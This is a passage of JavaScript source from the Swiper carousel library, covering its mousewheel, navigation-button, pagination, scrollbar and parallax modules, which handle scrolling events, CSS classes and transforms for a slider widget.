swiper.autoplay.stop();
}
// Return page scroll on edge positions
if (
position === swiper.minTranslate() ||
position === swiper.maxTranslate()
) {
return true;
}
}
if (e.preventDefault) {
e.preventDefault();
} else {
e.returnValue = false;
}
return false;
},
enable: function enable() {
var swiper = this;
if (!Mousewheel.event) {
return false;
}
if (swiper.mousewheel.enabled) {
return false;
}
var target = swiper.$el;
if (swiper.params.mousewheel.eventsTarged !== 'container') {
target = $(swiper.params.mousewheel.eventsTarged);
}
target.on('mouseenter', swiper.mousewheel.handleMouseEnter);
target.on('mouseleave', swiper.mousewheel.handleMouseLeave);
target.on(Mousewheel.event, swiper.mousewheel.handle);
swiper.mousewheel.enabled = true;
return true;
},
disable: function disable() {
var swiper = this;
if (!Mousewheel.event) {
return false;
}
if (!swiper.mousewheel.enabled) {
return false;
}
var target = swiper.$el;
if (swiper.params.mousewheel.eventsTarged !== 'container') {
target = $(swiper.params.mousewheel.eventsTarged);
}
target.off(Mousewheel.event, swiper.mousewheel.handle);
swiper.mousewheel.enabled = false;
return true;
},
};
var Mousewheel$1 = {
name: 'mousewheel',
params: {
mousewheel: {
enabled: false,
releaseOnEdges: false,
invert: false,
forceToAxis: false,
sensitivity: 1,
eventsTarged: 'container',
},
},
create: function create() {
var swiper = this;
Utils.extend(swiper, {
mousewheel: {
enabled: false,
enable: Mousewheel.enable.bind(swiper),
disable: Mousewheel.disable.bind(swiper),
handle: Mousewheel.handle.bind(swiper),
handleMouseEnter: Mousewheel.handleMouseEnter.bind(swiper),
handleMouseLeave: Mousewheel.handleMouseLeave.bind(swiper),
lastScrollTime: Utils.now(),
},
});
},
on: {
init: function init() {
var swiper = this;
if (swiper.params.mousewheel.enabled) {
swiper.mousewheel.enable();
}
},
destroy: function destroy() {
var swiper = this;
if (swiper.mousewheel.enabled) {
swiper.mousewheel.disable();
}
},
},
};
var Navigation = {
update: function update() {
// Update Navigation Buttons
var swiper = this;
var params = swiper.params.navigation;
if (swiper.params.loop) {
return;
}
var ref = swiper.navigation;
var $nextEl = ref.$nextEl;
var $prevEl = ref.$prevEl;
if ($prevEl && $prevEl.length > 0) {
if (swiper.isBeginning) {
$prevEl.addClass(params.disabledClass);
} else {
$prevEl.removeClass(params.disabledClass);
}
$prevEl[
swiper.params.watchOverflow && swiper.isLocked
? 'addClass'
: 'removeClass'
](params.lockClass);
}
if ($nextEl && $nextEl.length > 0) {
if (swiper.isEnd) {
$nextEl.addClass(params.disabledClass);
} else {
$nextEl.removeClass(params.disabledClass);
}
$nextEl[
swiper.params.watchOverflow && swiper.isLocked
? 'addClass'
: 'removeClass'
](params.lockClass);
}
},
init: function init() {
var swiper = this;
var params = swiper.params.navigation;
if (!(params.nextEl || params.prevEl)) {
return;
}
var $nextEl;
var $prevEl;
if (params.nextEl) {
$nextEl = $(params.nextEl);
if (
swiper.params.uniqueNavElements &&
typeof params.nextEl === 'string' &&
$nextEl.length > 1 &&
swiper.$el.find(params.nextEl).length === 1
) {
$nextEl = swiper.$el.find(params.nextEl);
}
}
if (params.prevEl) {
$prevEl = $(params.prevEl);
if (
swiper.params.uniqueNavElements &&
typeof params.prevEl === 'string' &&
$prevEl.length > 1 &&
swiper.$el.find(params.prevEl).length === 1
) {
$prevEl = swiper.$el.find(params.prevEl);
}
}
if ($nextEl && $nextEl.length > 0) {
$nextEl.on('click', function (e) {
e.preventDefault();
if (swiper.isEnd && !swiper.params.loop) {
return;
}
swiper.slideNext();
});
}
if ($prevEl && $prevEl.length > 0) {
$prevEl.on('click', function (e) {
e.preventDefault();
if (swiper.isBeginning && !swiper.params.loop) {
return;
}
swiper.slidePrev();
});
}
Utils.extend(swiper.navigation, {
$nextEl: $nextEl,
nextEl: $nextEl && $nextEl[0],
$prevEl: $prevEl,
prevEl: $prevEl && $prevEl[0],
});
},
destroy: function destroy() {
var swiper = this;
var ref = swiper.navigation;
var $nextEl = ref.$nextEl;
var $prevEl = ref.$prevEl;
if ($nextEl && $nextEl.length) {
$nextEl.off('click');
$nextEl.removeClass(swiper.params.navigation.disabledClass);
}
if ($prevEl && $prevEl.length) {
$prevEl.off('click');
$prevEl.removeClass(swiper.params.navigation.disabledClass);
}
},
};
var Navigation$1 = {
name: 'navigation',
params: {
navigation: {
nextEl: null,
prevEl: null,
hideOnClick: false,
disabledClass: 'swiper-button-disabled',
hiddenClass: 'swiper-button-hidden',
lockClass: 'swiper-button-lock',
},
},
create: function create() {
var swiper = this;
Utils.extend(swiper, {
navigation: {
init: Navigation.init.bind(swiper),
update: Navigation.update.bind(swiper),
destroy: Navigation.destroy.bind(swiper),
},
});
},
on: {
init: function init() {
var swiper = this;
swiper.navigation.init();
swiper.navigation.update();
},
toEdge: function toEdge() {
var swiper = this;
swiper.navigation.update();
},
fromEdge: function fromEdge() {
var swiper = this;
swiper.navigation.update();
},
destroy: function destroy() {
var swiper = this;
swiper.navigation.destroy();
},
click: function click(e) {
var swiper = this;
var ref = swiper.navigation;
var $nextEl = ref.$nextEl;
var $prevEl = ref.$prevEl;
if (
swiper.params.navigation.hideOnClick &&
!$(e.target).is($prevEl) &&
!$(e.target).is($nextEl)
) {
if ($nextEl) {
$nextEl.toggleClass(
swiper.params.navigation.hiddenClass
);
}
if ($prevEl) {
$prevEl.toggleClass(
swiper.params.navigation.hiddenClass
);
}
}
},
},
};
var Pagination = {
update: function update() {
// Render || Update Pagination bullets/items
var swiper = this;
var rtl = swiper.rtl;
var params = swiper.params.pagination;
if (
!params.el ||
!swiper.pagination.el ||
!swiper.pagination.$el ||
swiper.pagination.$el.length === 0
) {
return;
}
var slidesLength =
swiper.virtual && swiper.params.virtual.enabled
? swiper.virtual.slides.length
: swiper.slides.length;
var $el = swiper.pagination.$el;
// Current/Total
var current;
var total = swiper.params.loop
? Math.ceil(
(slidesLength - swiper.loopedSlides * 2) /
swiper.params.slidesPerGroup
)
: swiper.snapGrid.length;
if (swiper.params.loop) {
current = Math.ceil(
(swiper.activeIndex - swiper.loopedSlides) /
swiper.params.slidesPerGroup
);
if (current > slidesLength - 1 - swiper.loopedSlides * 2) {
current -= slidesLength - swiper.loopedSlides * 2;
}
if (current > total - 1) {
current -= total;
}
if (current < 0 && swiper.params.paginationType !== 'bullets') {
current = total + current;
}
} else if (typeof swiper.snapIndex !== 'undefined') {
current = swiper.snapIndex;
} else {
current = swiper.activeIndex || 0;
}
// Types
if (
params.type === 'bullets' &&
swiper.pagination.bullets &&
swiper.pagination.bullets.length > 0
) {
var bullets = swiper.pagination.bullets;
var firstIndex;
var lastIndex;
var midIndex;
if (params.dynamicBullets) {
swiper.pagination.bulletSize = bullets
.eq(0)
[swiper.isHorizontal() ? 'outerWidth' : 'outerHeight'](
true
);
$el.css(
swiper.isHorizontal() ? 'width' : 'height',
swiper.pagination.bulletSize *
(params.dynamicMainBullets + 4) +
'px'
);
if (
params.dynamicMainBullets > 1 &&
swiper.previousIndex !== undefined
) {
swiper.pagination.dynamicBulletIndex +=
current - swiper.previousIndex;
if (
swiper.pagination.dynamicBulletIndex >
params.dynamicMainBullets - 1
) {
swiper.pagination.dynamicBulletIndex =
params.dynamicMainBullets - 1;
} else if (swiper.pagination.dynamicBulletIndex < 0) {
swiper.pagination.dynamicBulletIndex = 0;
}
}
firstIndex = current - swiper.pagination.dynamicBulletIndex;
lastIndex =
firstIndex +
(Math.min(bullets.length, params.dynamicMainBullets) -
1);
midIndex = (lastIndex + firstIndex) / 2;
}
bullets.removeClass(
params.bulletActiveClass +
' ' +
params.bulletActiveClass +
'-next ' +
params.bulletActiveClass +
'-next-next ' +
params.bulletActiveClass +
'-prev ' +
params.bulletActiveClass +
'-prev-prev ' +
params.bulletActiveClass +
'-main'
);
if ($el.length > 1) {
bullets.each(function (index, bullet) {
var $bullet = $(bullet);
var bulletIndex = $bullet.index();
if (bulletIndex === current) {
$bullet.addClass(params.bulletActiveClass);
}
if (params.dynamicBullets) {
if (
bulletIndex >= firstIndex &&
bulletIndex <= lastIndex
) {
$bullet.addClass(
params.bulletActiveClass + '-main'
);
}
if (bulletIndex === firstIndex) {
$bullet
.prev()
.addClass(
params.bulletActiveClass + '-prev'
)
.prev()
.addClass(
params.bulletActiveClass + '-prev-prev'
);
}
if (bulletIndex === lastIndex) {
$bullet
.next()
.addClass(
params.bulletActiveClass + '-next'
)
.next()
.addClass(
params.bulletActiveClass + '-next-next'
);
}
}
});
} else {
var $bullet = bullets.eq(current);
$bullet.addClass(params.bulletActiveClass);
if (params.dynamicBullets) {
var $firstDisplayedBullet = bullets.eq(firstIndex);
var $lastDisplayedBullet = bullets.eq(lastIndex);
for (var i = firstIndex; i <= lastIndex; i += 1) {
bullets
.eq(i)
.addClass(params.bulletActiveClass + '-main');
}
$firstDisplayedBullet
.prev()
.addClass(params.bulletActiveClass + '-prev')
.prev()
.addClass(params.bulletActiveClass + '-prev-prev');
$lastDisplayedBullet
.next()
.addClass(params.bulletActiveClass + '-next')
.next()
.addClass(params.bulletActiveClass + '-next-next');
}
}
if (params.dynamicBullets) {
var dynamicBulletsLength = Math.min(
bullets.length,
params.dynamicMainBullets + 4
);
var bulletsOffset =
(swiper.pagination.bulletSize * dynamicBulletsLength -
swiper.pagination.bulletSize) /
2 -
midIndex * swiper.pagination.bulletSize;
var offsetProp = rtl ? 'right' : 'left';
bullets.css(
swiper.isHorizontal() ? offsetProp : 'top',
bulletsOffset + 'px'
);
}
}
if (params.type === 'fraction') {
$el.find('.' + params.currentClass).text(
params.formatFractionCurrent(current + 1)
);
$el.find('.' + params.totalClass).text(
params.formatFractionTotal(total)
);
}
if (params.type === 'progressbar') {
var progressbarDirection;
if (params.progressbarOpposite) {
progressbarDirection = swiper.isHorizontal()
? 'vertical'
: 'horizontal';
} else {
progressbarDirection = swiper.isHorizontal()
? 'horizontal'
: 'vertical';
}
var scale = (current + 1) / total;
var scaleX = 1;
var scaleY = 1;
if (progressbarDirection === 'horizontal') {
scaleX = scale;
} else {
scaleY = scale;
}
$el.find('.' + params.progressbarFillClass)
.transform(
'translate3d(0,0,0) scaleX(' +
scaleX +
') scaleY(' +
scaleY +
')'
)
.transition(swiper.params.speed);
}
if (params.type === 'custom' && params.renderCustom) {
$el.html(params.renderCustom(swiper, current + 1, total));
swiper.emit('paginationRender', swiper, $el[0]);
} else {
swiper.emit('paginationUpdate', swiper, $el[0]);
}
$el[
swiper.params.watchOverflow && swiper.isLocked
? 'addClass'
: 'removeClass'
](params.lockClass);
},
render: function render() {
// Render Container
var swiper = this;
var params = swiper.params.pagination;
if (
!params.el ||
!swiper.pagination.el ||
!swiper.pagination.$el ||
swiper.pagination.$el.length === 0
) {
return;
}
var slidesLength =
swiper.virtual && swiper.params.virtual.enabled
? swiper.virtual.slides.length
: swiper.slides.length;
var $el = swiper.pagination.$el;
var paginationHTML = '';
if (params.type === 'bullets') {
var numberOfBullets = swiper.params.loop
? Math.ceil(
(slidesLength - swiper.loopedSlides * 2) /
swiper.params.slidesPerGroup
)
: swiper.snapGrid.length;
for (var i = 0; i < numberOfBullets; i += 1) {
if (params.renderBullet) {
paginationHTML += params.renderBullet.call(
swiper,
i,
params.bulletClass
);
} else {
paginationHTML +=
'<' +
params.bulletElement +
' class="' +
params.bulletClass +
'"></' +
params.bulletElement +
'>';
}
}
$el.html(paginationHTML);
swiper.pagination.bullets = $el.find('.' + params.bulletClass);
}
if (params.type === 'fraction') {
if (params.renderFraction) {
paginationHTML = params.renderFraction.call(
swiper,
params.currentClass,
params.totalClass
);
} else {
paginationHTML =
'<span class="' +
params.currentClass +
'"></span>' +
' / ' +
'<span class="' +
params.totalClass +
'"></span>';
}
$el.html(paginationHTML);
}
if (params.type === 'progressbar') {
if (params.renderProgressbar) {
paginationHTML = params.renderProgressbar.call(
swiper,
params.progressbarFillClass
);
} else {
paginationHTML =
'<span class="' +
params.progressbarFillClass +
'"></span>';
}
$el.html(paginationHTML);
}
if (params.type !== 'custom') {
swiper.emit('paginationRender', swiper.pagination.$el[0]);
}
},
init: function init() {
var swiper = this;
var params = swiper.params.pagination;
if (!params.el) {
return;
}
var $el = $(params.el);
if ($el.length === 0) {
return;
}
if (
swiper.params.uniqueNavElements &&
typeof params.el === 'string' &&
$el.length > 1 &&
swiper.$el.find(params.el).length === 1
) {
$el = swiper.$el.find(params.el);
}
if (params.type === 'bullets' && params.clickable) {
$el.addClass(params.clickableClass);
}
$el.addClass(params.modifierClass + params.type);
if (params.type === 'bullets' && params.dynamicBullets) {
$el.addClass(
'' + params.modifierClass + params.type + '-dynamic'
);
swiper.pagination.dynamicBulletIndex = 0;
if (params.dynamicMainBullets < 1) {
params.dynamicMainBullets = 1;
}
}
if (params.type === 'progressbar' && params.progressbarOpposite) {
$el.addClass(params.progressbarOppositeClass);
}
if (params.clickable) {
$el.on('click', '.' + params.bulletClass, function onClick(e) {
e.preventDefault();
var index = $(this).index() * swiper.params.slidesPerGroup;
if (swiper.params.loop) {
index += swiper.loopedSlides;
}
swiper.slideTo(index);
});
}
Utils.extend(swiper.pagination, {
$el: $el,
el: $el[0],
});
},
destroy: function destroy() {
var swiper = this;
var params = swiper.params.pagination;
if (
!params.el ||
!swiper.pagination.el ||
!swiper.pagination.$el ||
swiper.pagination.$el.length === 0
) {
return;
}
var $el = swiper.pagination.$el;
$el.removeClass(params.hiddenClass);
$el.removeClass(params.modifierClass + params.type);
if (swiper.pagination.bullets) {
swiper.pagination.bullets.removeClass(params.bulletActiveClass);
}
if (params.clickable) {
$el.off('click', '.' + params.bulletClass);
}
},
};
var Pagination$1 = {
name: 'pagination',
params: {
pagination: {
el: null,
bulletElement: 'span',
clickable: false,
hideOnClick: false,
renderBullet: null,
renderProgressbar: null,
renderFraction: null,
renderCustom: null,
progressbarOpposite: false,
type: 'bullets', // 'bullets' or 'progressbar' or 'fraction' or 'custom'
dynamicBullets: false,
dynamicMainBullets: 1,
formatFractionCurrent: function (number) {
return number;
},
formatFractionTotal: function (number) {
return number;
},
bulletClass: 'swiper-pagination-bullet',
bulletActiveClass: 'swiper-pagination-bullet-active',
modifierClass: 'swiper-pagination-', // NEW
currentClass: 'swiper-pagination-current',
totalClass: 'swiper-pagination-total',
hiddenClass: 'swiper-pagination-hidden',
progressbarFillClass: 'swiper-pagination-progressbar-fill',
progressbarOppositeClass:
'swiper-pagination-progressbar-opposite',
clickableClass: 'swiper-pagination-clickable', // NEW
lockClass: 'swiper-pagination-lock',
},
},
create: function create() {
var swiper = this;
Utils.extend(swiper, {
pagination: {
init: Pagination.init.bind(swiper),
render: Pagination.render.bind(swiper),
update: Pagination.update.bind(swiper),
destroy: Pagination.destroy.bind(swiper),
dynamicBulletIndex: 0,
},
});
},
on: {
init: function init() {
var swiper = this;
swiper.pagination.init();
swiper.pagination.render();
swiper.pagination.update();
},
activeIndexChange: function activeIndexChange() {
var swiper = this;
if (swiper.params.loop) {
swiper.pagination.update();
} else if (typeof swiper.snapIndex === 'undefined') {
swiper.pagination.update();
}
},
snapIndexChange: function snapIndexChange() {
var swiper = this;
if (!swiper.params.loop) {
swiper.pagination.update();
}
},
slidesLengthChange: function slidesLengthChange() {
var swiper = this;
if (swiper.params.loop) {
swiper.pagination.render();
swiper.pagination.update();
}
},
snapGridLengthChange: function snapGridLengthChange() {
var swiper = this;
if (!swiper.params.loop) {
swiper.pagination.render();
swiper.pagination.update();
}
},
destroy: function destroy() {
var swiper = this;
swiper.pagination.destroy();
},
click: function click(e) {
var swiper = this;
if (
swiper.params.pagination.el &&
swiper.params.pagination.hideOnClick &&
swiper.pagination.$el.length > 0 &&
!$(e.target).hasClass(swiper.params.pagination.bulletClass)
) {
swiper.pagination.$el.toggleClass(
swiper.params.pagination.hiddenClass
);
}
},
},
};
var Scrollbar = {
setTranslate: function setTranslate() {
var swiper = this;
if (!swiper.params.scrollbar.el || !swiper.scrollbar.el) {
return;
}
var scrollbar = swiper.scrollbar;
var rtl = swiper.rtlTranslate;
var progress = swiper.progress;
var dragSize = scrollbar.dragSize;
var trackSize = scrollbar.trackSize;
var $dragEl = scrollbar.$dragEl;
var $el = scrollbar.$el;
var params = swiper.params.scrollbar;
var newSize = dragSize;
var newPos = (trackSize - dragSize) * progress;
if (rtl) {
newPos = -newPos;
if (newPos > 0) {
newSize = dragSize - newPos;
newPos = 0;
} else if (-newPos + dragSize > trackSize) {
newSize = trackSize + newPos;
}
} else if (newPos < 0) {
newSize = dragSize + newPos;
newPos = 0;
} else if (newPos + dragSize > trackSize) {
newSize = trackSize - newPos;
}
if (swiper.isHorizontal()) {
if (Support.transforms3d) {
$dragEl.transform('translate3d(' + newPos + 'px, 0, 0)');
} else {
$dragEl.transform('translateX(' + newPos + 'px)');
}
$dragEl[0].style.width = newSize + 'px';
} else {
if (Support.transforms3d) {
$dragEl.transform('translate3d(0px, ' + newPos + 'px, 0)');
} else {
$dragEl.transform('translateY(' + newPos + 'px)');
}
$dragEl[0].style.height = newSize + 'px';
}
if (params.hide) {
clearTimeout(swiper.scrollbar.timeout);
$el[0].style.opacity = 1;
swiper.scrollbar.timeout = setTimeout(function () {
$el[0].style.opacity = 0;
$el.transition(400);
}, 1000);
}
},
setTransition: function setTransition(duration) {
var swiper = this;
if (!swiper.params.scrollbar.el || !swiper.scrollbar.el) {
return;
}
swiper.scrollbar.$dragEl.transition(duration);
},
updateSize: function updateSize() {
var swiper = this;
if (!swiper.params.scrollbar.el || !swiper.scrollbar.el) {
return;
}
var scrollbar = swiper.scrollbar;
var $dragEl = scrollbar.$dragEl;
var $el = scrollbar.$el;
$dragEl[0].style.width = '';
$dragEl[0].style.height = '';
var trackSize = swiper.isHorizontal()
? $el[0].offsetWidth
: $el[0].offsetHeight;
var divider = swiper.size / swiper.virtualSize;
var moveDivider = divider * (trackSize / swiper.size);
var dragSize;
if (swiper.params.scrollbar.dragSize === 'auto') {
dragSize = trackSize * divider;
} else {
dragSize = parseInt(swiper.params.scrollbar.dragSize, 10);
}
if (swiper.isHorizontal()) {
$dragEl[0].style.width = dragSize + 'px';
} else {
$dragEl[0].style.height = dragSize + 'px';
}
if (divider >= 1) {
$el[0].style.display = 'none';
} else {
$el[0].style.display = '';
}
if (swiper.params.scrollbarHide) {
$el[0].style.opacity = 0;
}
Utils.extend(scrollbar, {
trackSize: trackSize,
divider: divider,
moveDivider: moveDivider,
dragSize: dragSize,
});
scrollbar.$el[
swiper.params.watchOverflow && swiper.isLocked
? 'addClass'
: 'removeClass'
](swiper.params.scrollbar.lockClass);
},
setDragPosition: function setDragPosition(e) {
var swiper = this;
var scrollbar = swiper.scrollbar;
var rtl = swiper.rtlTranslate;
var $el = scrollbar.$el;
var dragSize = scrollbar.dragSize;
var trackSize = scrollbar.trackSize;
var pointerPosition;
if (swiper.isHorizontal()) {
pointerPosition =
e.type === 'touchstart' || e.type === 'touchmove'
? e.targetTouches[0].pageX
: e.pageX || e.clientX;
} else {
pointerPosition =
e.type === 'touchstart' || e.type === 'touchmove'
? e.targetTouches[0].pageY
: e.pageY || e.clientY;
}
var positionRatio;
positionRatio =
(pointerPosition -
$el.offset()[swiper.isHorizontal() ? 'left' : 'top'] -
dragSize / 2) /
(trackSize - dragSize);
positionRatio = Math.max(Math.min(positionRatio, 1), 0);
if (rtl) {
positionRatio = 1 - positionRatio;
}
var position =
swiper.minTranslate() +
(swiper.maxTranslate() - swiper.minTranslate()) * positionRatio;
swiper.updateProgress(position);
swiper.setTranslate(position);
swiper.updateActiveIndex();
swiper.updateSlidesClasses();
},
onDragStart: function onDragStart(e) {
var swiper = this;
var params = swiper.params.scrollbar;
var scrollbar = swiper.scrollbar;
var $wrapperEl = swiper.$wrapperEl;
var $el = scrollbar.$el;
var $dragEl = scrollbar.$dragEl;
swiper.scrollbar.isTouched = true;
e.preventDefault();
e.stopPropagation();
$wrapperEl.transition(100);
$dragEl.transition(100);
scrollbar.setDragPosition(e);
clearTimeout(swiper.scrollbar.dragTimeout);
$el.transition(0);
if (params.hide) {
$el.css('opacity', 1);
}
swiper.emit('scrollbarDragStart', e);
},
onDragMove: function onDragMove(e) {
var swiper = this;
var scrollbar = swiper.scrollbar;
var $wrapperEl = swiper.$wrapperEl;
var $el = scrollbar.$el;
var $dragEl = scrollbar.$dragEl;
if (!swiper.scrollbar.isTouched) {
return;
}
if (e.preventDefault) {
e.preventDefault();
} else {
e.returnValue = false;
}
scrollbar.setDragPosition(e);
$wrapperEl.transition(0);
$el.transition(0);
$dragEl.transition(0);
swiper.emit('scrollbarDragMove', e);
},
onDragEnd: function onDragEnd(e) {
var swiper = this;
var params = swiper.params.scrollbar;
var scrollbar = swiper.scrollbar;
var $el = scrollbar.$el;
if (!swiper.scrollbar.isTouched) {
return;
}
swiper.scrollbar.isTouched = false;
if (params.hide) {
clearTimeout(swiper.scrollbar.dragTimeout);
swiper.scrollbar.dragTimeout = Utils.nextTick(function () {
$el.css('opacity', 0);
$el.transition(400);
}, 1000);
}
swiper.emit('scrollbarDragEnd', e);
if (params.snapOnRelease) {
swiper.slideToClosest();
}
},
enableDraggable: function enableDraggable() {
var swiper = this;
if (!swiper.params.scrollbar.el) {
return;
}
var scrollbar = swiper.scrollbar;
var touchEvents = swiper.touchEvents;
var touchEventsDesktop = swiper.touchEventsDesktop;
var params = swiper.params;
var $el = scrollbar.$el;
var target = $el[0];
var activeListener =
Support.passiveListener && params.passiveListeners
? { passive: false, capture: false }
: false;
var passiveListener =
Support.passiveListener && params.passiveListeners
? { passive: true, capture: false }
: false;
if (
!Support.touch &&
(Support.pointerEvents || Support.prefixedPointerEvents)
) {
target.addEventListener(
touchEventsDesktop.start,
swiper.scrollbar.onDragStart,
activeListener
);
doc.addEventListener(
touchEventsDesktop.move,
swiper.scrollbar.onDragMove,
activeListener
);
doc.addEventListener(
touchEventsDesktop.end,
swiper.scrollbar.onDragEnd,
passiveListener
);
} else {
if (Support.touch) {
target.addEventListener(
touchEvents.start,
swiper.scrollbar.onDragStart,
activeListener
);
target.addEventListener(
touchEvents.move,
swiper.scrollbar.onDragMove,
activeListener
);
target.addEventListener(
touchEvents.end,
swiper.scrollbar.onDragEnd,
passiveListener
);
}
if (
(params.simulateTouch && !Device.ios && !Device.android) ||
(params.simulateTouch && !Support.touch && Device.ios)
) {
target.addEventListener(
'mousedown',
swiper.scrollbar.onDragStart,
activeListener
);
doc.addEventListener(
'mousemove',
swiper.scrollbar.onDragMove,
activeListener
);
doc.addEventListener(
'mouseup',
swiper.scrollbar.onDragEnd,
passiveListener
);
}
}
},
disableDraggable: function disableDraggable() {
var swiper = this;
if (!swiper.params.scrollbar.el) {
return;
}
var scrollbar = swiper.scrollbar;
var touchEvents = swiper.touchEvents;
var touchEventsDesktop = swiper.touchEventsDesktop;
var params = swiper.params;
var $el = scrollbar.$el;
var target = $el[0];
var activeListener =
Support.passiveListener && params.passiveListeners
? { passive: false, capture: false }
: false;
var passiveListener =
Support.passiveListener && params.passiveListeners
? { passive: true, capture: false }
: false;
if (
!Support.touch &&
(Support.pointerEvents || Support.prefixedPointerEvents)
) {
target.removeEventListener(
touchEventsDesktop.start,
swiper.scrollbar.onDragStart,
activeListener
);
doc.removeEventListener(
touchEventsDesktop.move,
swiper.scrollbar.onDragMove,
activeListener
);
doc.removeEventListener(
touchEventsDesktop.end,
swiper.scrollbar.onDragEnd,
passiveListener
);
} else {
if (Support.touch) {
target.removeEventListener(
touchEvents.start,
swiper.scrollbar.onDragStart,
activeListener
);
target.removeEventListener(
touchEvents.move,
swiper.scrollbar.onDragMove,
activeListener
);
target.removeEventListener(
touchEvents.end,
swiper.scrollbar.onDragEnd,
passiveListener
);
}
if (
(params.simulateTouch && !Device.ios && !Device.android) ||
(params.simulateTouch && !Support.touch && Device.ios)
) {
target.removeEventListener(
'mousedown',
swiper.scrollbar.onDragStart,
activeListener
);
doc.removeEventListener(
'mousemove',
swiper.scrollbar.onDragMove,
activeListener
);
doc.removeEventListener(
'mouseup',
swiper.scrollbar.onDragEnd,
passiveListener
);
}
}
},
init: function init() {
var swiper = this;
if (!swiper.params.scrollbar.el) {
return;
}
var scrollbar = swiper.scrollbar;
var $swiperEl = swiper.$el;
var params = swiper.params.scrollbar;
var $el = $(params.el);
if (
swiper.params.uniqueNavElements &&
typeof params.el === 'string' &&
$el.length > 1 &&
$swiperEl.find(params.el).length === 1
) {
$el = $swiperEl.find(params.el);
}
var $dragEl = $el.find('.' + swiper.params.scrollbar.dragClass);
if ($dragEl.length === 0) {
$dragEl = $(
'<div class="' +
swiper.params.scrollbar.dragClass +
'"></div>'
);
$el.append($dragEl);
}
Utils.extend(scrollbar, {
$el: $el,
el: $el[0],
$dragEl: $dragEl,
dragEl: $dragEl[0],
});
if (params.draggable) {
scrollbar.enableDraggable();
}
},
destroy: function destroy() {
var swiper = this;
swiper.scrollbar.disableDraggable();
},
};
var Scrollbar$1 = {
name: 'scrollbar',
params: {
scrollbar: {
el: null,
dragSize: 'auto',
hide: false,
draggable: false,
snapOnRelease: true,
lockClass: 'swiper-scrollbar-lock',
dragClass: 'swiper-scrollbar-drag',
},
},
create: function create() {
var swiper = this;
Utils.extend(swiper, {
scrollbar: {
init: Scrollbar.init.bind(swiper),
destroy: Scrollbar.destroy.bind(swiper),
updateSize: Scrollbar.updateSize.bind(swiper),
setTranslate: Scrollbar.setTranslate.bind(swiper),
setTransition: Scrollbar.setTransition.bind(swiper),
enableDraggable: Scrollbar.enableDraggable.bind(swiper),
disableDraggable: Scrollbar.disableDraggable.bind(swiper),
setDragPosition: Scrollbar.setDragPosition.bind(swiper),
onDragStart: Scrollbar.onDragStart.bind(swiper),
onDragMove: Scrollbar.onDragMove.bind(swiper),
onDragEnd: Scrollbar.onDragEnd.bind(swiper),
isTouched: false,
timeout: null,
dragTimeout: null,
},
});
},
on: {
init: function init() {
var swiper = this;
swiper.scrollbar.init();
swiper.scrollbar.updateSize();
swiper.scrollbar.setTranslate();
},
update: function update() {
var swiper = this;
swiper.scrollbar.updateSize();
},
resize: function resize() {
var swiper = this;
swiper.scrollbar.updateSize();
},
observerUpdate: function observerUpdate() {
var swiper = this;
swiper.scrollbar.updateSize();
},
setTranslate: function setTranslate() {
var swiper = this;
swiper.scrollbar.setTranslate();
},
setTransition: function setTransition(duration) {
var swiper = this;
swiper.scrollbar.setTransition(duration);
},
destroy: function destroy() {
var swiper = this;
swiper.scrollbar.destroy();
},
},
};
var Parallax = {
setTransform: function setTransform(el, progress) {
var swiper = this;
var rtl = swiper.rtl;
var $el = $(el);
var rtlFactor = rtl ? -1 : 1;
var p = $el.attr('data-swiper-parallax') || '0';
var x = $el.attr('data-swiper-parallax-x');
var y = $el.attr('data-swiper-parallax-y');
var scale = $el.attr('data-swiper-parallax-scale');
var opacity = $el.attr('data-swiper-parallax-opacity');
if (x || y) {
x = x || '0';
y = y || '0';
} else if (swiper.isHorizontal()) {
x = p;
y = '0';
} else {
y = p;
x = '0';
}
if (x.indexOf('%') >= 0) {
x = parseInt(x, 10) * progress * rtlFactor + '%';
} else {
x = x * progress * rtlFactor + 'px';
}
if (y.indexOf('%') >= 0) {
y = parseInt(y, 10) * progress + '%';
} else {
y = y * progress + 'px';
}
if (typeof opacity !== 'undefined' && opacity !== null) {
var currentOpacity =
opacity - (opacity - 1) * (1 - Math.abs(progress));
$el[0].style.opacity = currentOpacity;
}
if (typeof scale === 'undefined' || scale === null) {
$el.transform('translate3d(' + x + ', ' + y + ', 0px)');
} else {
var currentScale =
scale - (scale - 1) * (1 - Math.abs(progress));
$el.transform(
'translate3d(' +
x +
', ' +
y +
', 0px) scale(' +
currentScale +
')'
);
}
},
setTranslate: function setTranslate() {
var swiper = this;
var $el = swiper.$el;
var slides = swiper.slides;
var progress = swiper.progress;
var snapGrid = swiper.snapGrid;
$el.children(
'[data-swiper-parallax], [data-swiper-parallax-x], [data-swiper-parallax-y]'
).each(function (index, el) {
swiper.parallax.setTransform(el, progress);
});
slides.each(function (slideIndex, slideEl) {
var slideProgress = slideEl.progress;
if (
swiper.params.slidesPerGroup > 1 &&
swiper.params.slidesPerView !== 'auto'
) {
slideProgress +=
Math.ceil(slideIndex / 2) -
progress * (snapGrid.length - 1);
}
slideProgress = Math.min(Math.max(slideProgress, -1), 1);
$(slideEl)
.find(
'[data-swiper-parallax], [data-swiper-parallax-x], [data-swiper-parallax-y]'
)
.each(function (index, el) {
swiper.parallax.setTransform(el, slideProgress);
});
});
},
setTransition: function setTransition(duration) {
if (duration === void 0) duration = this.params.speed;
var swiper = this;
var $el = swiper.$el;
$el.find(
'[data-swiper-parallax], [data-swiper-parallax-x], [data-swiper-parallax-y]'
).each(function (index, parallaxEl) {
var $parallaxEl = $(parallaxEl);
var parallaxDuration =
parseInt(
$parallaxEl.attr('data-swiper-parallax-duration'),
10
) || duration;
if (duration === 0) {
parallaxDuration = 0;
}
$parallaxEl.transition(parallaxDuration);
});
},
};
var Parallax$1 = {
name: 'parallax',
params: {
parallax: {
enabled: false,
},
},
create: function create() {
var swiper = this;
Utils.extend(swiper, {
parallax: {
setTransform: Parallax.setTransform.bind(swiper),
setTranslate: Parallax.setTranslate.bind(swiper),
setTransition: Parallax.setTransition.bind(swiper),
},
});
},
on: {
beforeInit: function beforeInit() {
var swiper = this;
if (!swiper.params.parallax.enabled) {
return;
}
swiper.params.watchSlidesProgress = true;
},
init: function init() {
var swiper = this;
if (!swiper.params.parallax) {
return;
}
swiper.parallax.setTranslate();
},
setTranslate: function setTranslate() {
var swiper = this;
if (!swiper.params.parallax) {
return;
}
swiper.parallax.setTranslate();
},
setTransition: function setTransition(duration) {
var swiper = this;
if (!swiper.params.parallax) {
return;
}
swiper.parallax.setTransition(duration);
},
},
};
var Zoom = {
// Calc Scale From Multi-touches
getDistanceBetweenTouches: function getDistanceBetweenTouches(e) {
if (e.targetTouches.length < 2) {
